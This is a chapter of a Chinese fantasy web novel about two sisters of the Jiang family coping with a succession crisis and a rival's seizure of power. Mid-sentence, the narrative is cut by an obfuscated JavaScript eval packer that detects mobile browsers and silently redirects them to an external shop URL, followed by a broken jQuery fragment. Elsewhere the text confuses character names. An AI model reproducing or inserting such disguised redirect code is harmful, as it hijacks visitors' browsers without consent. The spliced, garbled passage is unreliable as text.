文趣网 > 其他小说 > 和姜氏家族同行 > 16. 新年、新人、新局势
    “祖母,我看姜家好得很,现在是萧家先出问题了。”

    一大早,新年的爆竹声还没响几家,荣耀就捧着一面小镜子去找宾婆婆了。

    “这是什么?我怎么没在姜家见过?”

    昨夜守岁,姜仲元现在睡眼惺忪,真的把云镜当成了镜子,凑过去想抓一把自己的头发,却在里面看见了密密麻麻的字。

    “啊!这什么!”

    “云镜,”荣耀把手里的东西递给宾婆婆,自己却不忘刺一下姜仲元:“要灵力才能运转的法宝,随时能看见灵族间的讯息;灵族特有的,你没见过很正常。”

    “不就是快一点的飞鸽传书嘛,少见多怪。”

    “非也,飞鸽传书只有几人间,但是云镜却不一样,云镜里头的东西整个灵族都能看。”

    “哦,史官笔嘛。”

    “史官笔写的又不都是真的。”

    “说得想云景里不会说假话一样。”

    “行了;”宾婆婆打断二人的争执,“萧牧辰那小子夺权了。”

    “谁?”姜仲元不敢相信在自己的耳朵。

    “萧牧辰?就是经常和我姐姐一起玩的那个萧家人?”

    “对。”

    宾婆婆面色凝重,心思百转千回,也只说了一句:

    “新年伊始,万象更新啊!”

    祖母离开得突然,年夜饭的灶火还没凉,人就突然宣布要接着出门办事。

    不给解释、没有归期。

    姜镜尘隐隐觉得家里要发生大事,心里那根弦总是紧绷着,她猜到了什么,却不愿相信。

    昨日,林掌事给她的压崇钱红包里,多塞了一把钥匙。

    松烟院里的小柜子挨个试下来,只在祖母屋子里打开了,里头是一枚戒指,戒指上刻着掌门特有的赤玄凤。

    她环顾四周,思考良久后,把戒指握在了掌心,然后就独自一人,坐在正对门口的位置上,直到天明。

    大年初一,按照九川的规矩,应当好好休息,不仅是犒劳过去一年的劳碌,更是对新年多些空闲的美好祝愿,因而家家户户都看起来门庭冷落,似乎没有人一般。

    这倒是个避人耳目的外出好机会。

    姜镜尘借此机会,悄悄钻进了林掌事的院子。

    “来了?想的怎么样?”

    对于她的出现,林掌事毫不意外。

    “这么快?”

    姜仲元右手已经紧握,戒指上自带的棱角嵌进皮肉,她却如没有感到疼痛一般。

    “早做打算。”

    “什么打算?我不做傀儡。”

    姜镜尘眼眶一酸,声音依旧清亮。

    “......昭昭,若是傀儡,选你妹妹不是更好。”

    林掌事依旧不恼,徐徐向她说着自己的打算:

    “过年时,你看见的祖母,才是傀儡;她所能持续的时间不长了,顶多在你的继任礼上再出现一次。”

    “不!”

    她惊叫出声:

    “祖母究竟去哪了?还有母亲!弗初奶奶,你知道的对不对?祖母呢?我母亲呢?”

    “......你母亲确实是寻找神迹去了;你祖母......我也确实不知道。”

    “......神,”她突然讽刺一笑:“没人信,自然也不会有神。”

    林掌事并没有反驳,只是平静地看着她,等着她再开口。

    “十三岁,他们不会信服一个十三岁的人,我以为至少要等到两三年后......”

    姜镜尘怅然若失。

    “太晚了,姜家现在很危险,等家里人反应过来掌门是傀儡,会酿成大祸的。”

    “可是......”

    话未说完,“嗡嗡”两声,打断了姜镜尘的思路。

    “今日,我便教你如何把云镜的消息潜入神识。”

    姜镜尘知道林掌事有些不满,但是她现在头脑也是一团浆糊,方寸之间,她就要关联未来几年甚至是几十年的姜家,而她才十三岁!

    “牧辰哥哥......宣告自己是萧家新掌门......怎么会这样......”

    她震惊到无以复加,明明昨夜萧牧辰还像什么都没发生过一样,两人互相拜年、说笑;甚至萧牧辰还专门跑来姜家给她发来压崇钱。

    怎么今日......怎么今日......

    “你看到了,先把你眼里的震惊收起来,不要露给别人看,哪怕是亲人。”

    “林掌事,你知道吗?”

    “我猜到过。”

    面上的震惊收不住,姜镜尘看了一眼手里的云镜,又看向林掌事,渴望从她的面上读出些什么。

    “我该怎么做?夺权?我现在做不到,我才刚进红营一年。”

    良久,姜镜尘收回目光,开始思考对策。

    “不久后,长林赛就要开始了,我要你拿到第一,登上长林榜,再回来当红营的夫子。”

    “长林赛要求学子满十五岁。”

    “你不用。”

    “又是特权?”

    “求贪才叫特权,长林榜第一本就该是你的。”

    林掌事淡淡道。

    “......好,我跟哪只队伍。”

    “就跟今年的姜家,你当队长。”

    姜镜尘又皱起了眉,想推脱,林掌事仿佛看穿了她的心思,冷言拒绝:

    “你现在就要学会担当,这是你的第一步,你必须完成;至于你怎么让他们信服,怎么用人取胜,那是你的问题,以后都是你的问题。”

    姜镜尘楞在原地,若有所思。

    “明白之后,我来教你如何用这个云镜。”

    “但,”姜镜尘开口,“林掌事,你能猜到牧辰哥哥为什么要夺权吗?”

    “......人不言,我不语。”

    “那,我为什么要当红营的夫子?”

    林掌事面色稍霁:“培养快过收服。”

    “林掌事选我,原因也是如此吗?”

    她轻轻地开口。

    “姜家的安定,是我唯一向掌门保证的东西;我跟掌门说过,我这把老骨头还能动一日,姜家就会安定一日,我不能食言。

    “我跟你几个舅舅姨母相处的时间比你长,姜家要是交给他们,我死了也闭不上眼。”

    话到此处,林掌事艰难地哽咽了一下,对姜镜尘说:

    “我当然有私心,你以为就你一个人想知道什么神迹,想知道你母亲和祖母到底去了哪吗?”

    姜仲元被这几句话震撼得不知所措,就这样深一脚浅一脚地踩着雪回去了,路上空留两行浅浅的印记。

    当晚,姜仲元罕见的失眠了;索性翻身起来在床铺上打坐。本来已经习惯只有她一人的松烟院,布置为何今晚却显得特别寂寥。

    她尝试在体内运行两个小周天,效果却出奇的差。

    披上一件外套,驻足在如水的月光下;今晚的月亮只有薄薄一线,但是经过地上的雪一照,倒像是一个晴朗的夏夜。

    天地之间,月色、雪色,和她。一股由衷的悲凉感从内心深处升腾而起。

    她看向夜空的那条银色的线,想向月亮问个明白。

    你不是常常住在天上吗?不是能看见世间每一个人吗?那我的祖母,我的母亲,她们在哪呢?

    月光隐隐绰绰,满眼都是迷雾,看不真切。

    但是隐约间,她看见了妹妹的脸。

    “瑶瑶!”

    她欣喜地唤着妹妹的小名,想招手让妹妹来到自己身边,好一同度过这孤独长夜,妹妹只是歪着脑袋,什么话也没说,身子也不动。

    她急了,身上的灵力更是先她一步开始运

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632249|206417||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    转,不停地奔向灵宫,想化出一架长桥,好让姜镜尘跑到她身边。

    妹妹依旧停在月亮里。

    姜镜尘太想有一个亲人在身边了。

    她急切地重复着林掌事教他的功法,灵力在体内疯狂运转。

    一阵风吹向竹林,一滴水涌入江海,世间的一切仿佛都在她身边放大,天地间细碎的。

    紧接着,灵宫内映出一轮满月。

    姜镜尘突破了。

    姜仲元是听宾婆婆说的,姐姐打进长林赛了。

    而后没过几天,一封信又送来了:姜镜尘已经成为了姜家的队长。

    跟着这封信一起来的,还有一个歪歪扭扭的小狗,和几块桂花糖。

    姜仲元“哇”的一声哭了出来,把桂花糖都给了荣耀,自己转身跑了。

    凭什么?凭什么她一点都不受影响?凭什么只有我一个人还在这里难受?凭什么?!

    其实那封信姜仲元都没仔细看,里头似乎是有一些道歉的话,但是她直接就捕捉到了“长林赛”这样关键的信息,然后又看见了桂花糖,这次的小狗嘴歪眼斜,估摸着是姜镜尘亲手做的。

    不过已经不重要了,重要的是姜仲元又想起来了过去的事。

    姜仲元跑去书院,拿出了自己那套工具,按照教书先生的话,做起了刚学的箭头。

    她的心静不下来,就一直这样做;短短一下午,竟然做了六个。

    好容易平静下来,才回去拿起那封信仔细读了起来,果不其然,里面竟然带上了些小心的讨好。

    “那我也没有原谅姐姐!”

    她对着信纸说,但是脚步却不听使唤,走到了荣耀门前。

    “好哥哥,我中午给你的桂花糖,你放哪去了。”

    姜仲元在荣耀门前扭捏着身子,问他能不能把桂花糖还给自己,一半也行。

    “啊?我看你哭成那样,还以为你不喜欢,全都扔了。”

    荣耀一本正经。

    “没有!哎呀!我!你......哎呀!”

    姜仲元语无伦次,急得直跺脚。

    “怎么啦?家里还有桂花糖,去年祖母在你屋子里栽的桂花树开花后,祖母收集了好多呢。”

    荣耀笑着去翻自己的小柜子。

    “你扔哪去了?”

    “就随手扔了......桂花糖而已,想要我再给你一包。”

    “你就告诉我扔哪去了。”姜仲元急得团团转。

    “你看看我这个。”

    荣耀好声好气的答非所问,在姜仲元眼前晃了晃手上的糖。

    “不要!那是姐姐送我的,我想姐姐——”

    脑袋像拨浪鼓一样摇着,话里拖长的尾音里带了些哭腔,荣耀知道她这是真急了。

    “好好好,给你。”

    “不要这个!我要姐姐的!我要姐姐!”

    “这就是姜镜尘送来的,”荣耀上去拿手捂住了姜仲元的嘴,轻叹了一口气,“我知道,祖母都告诉我了,姜家最有潜力的人送来的东西,我怎么可能扔掉。”

    “那你刚才说......”

    “我故意的。”

    荣耀毫不避讳。

    虽然被戏弄了一通,但是她现在一点脾气没有,毕竟桂花糖找回来了,而且幸好小狗没有随手丢掉。

    “谢谢,这个给你,当我言而无信的歉礼。”

    她挑挑拣拣,把最漂亮的三个箭头给他了。

    姜仲元坐在书桌前,信纸写了又揉,揉了又写,竟然也堆了半个书桌。

    信上的内容几乎是和姐姐的来信一一对应,先说明自己新学的知识,再接下礼物,最后表明自己已经不生气了。

    她含着糖,把信装进了信封里。

    转头看见床上躺着的那只小狗,她又在信封里放进去了另外三个小箭头。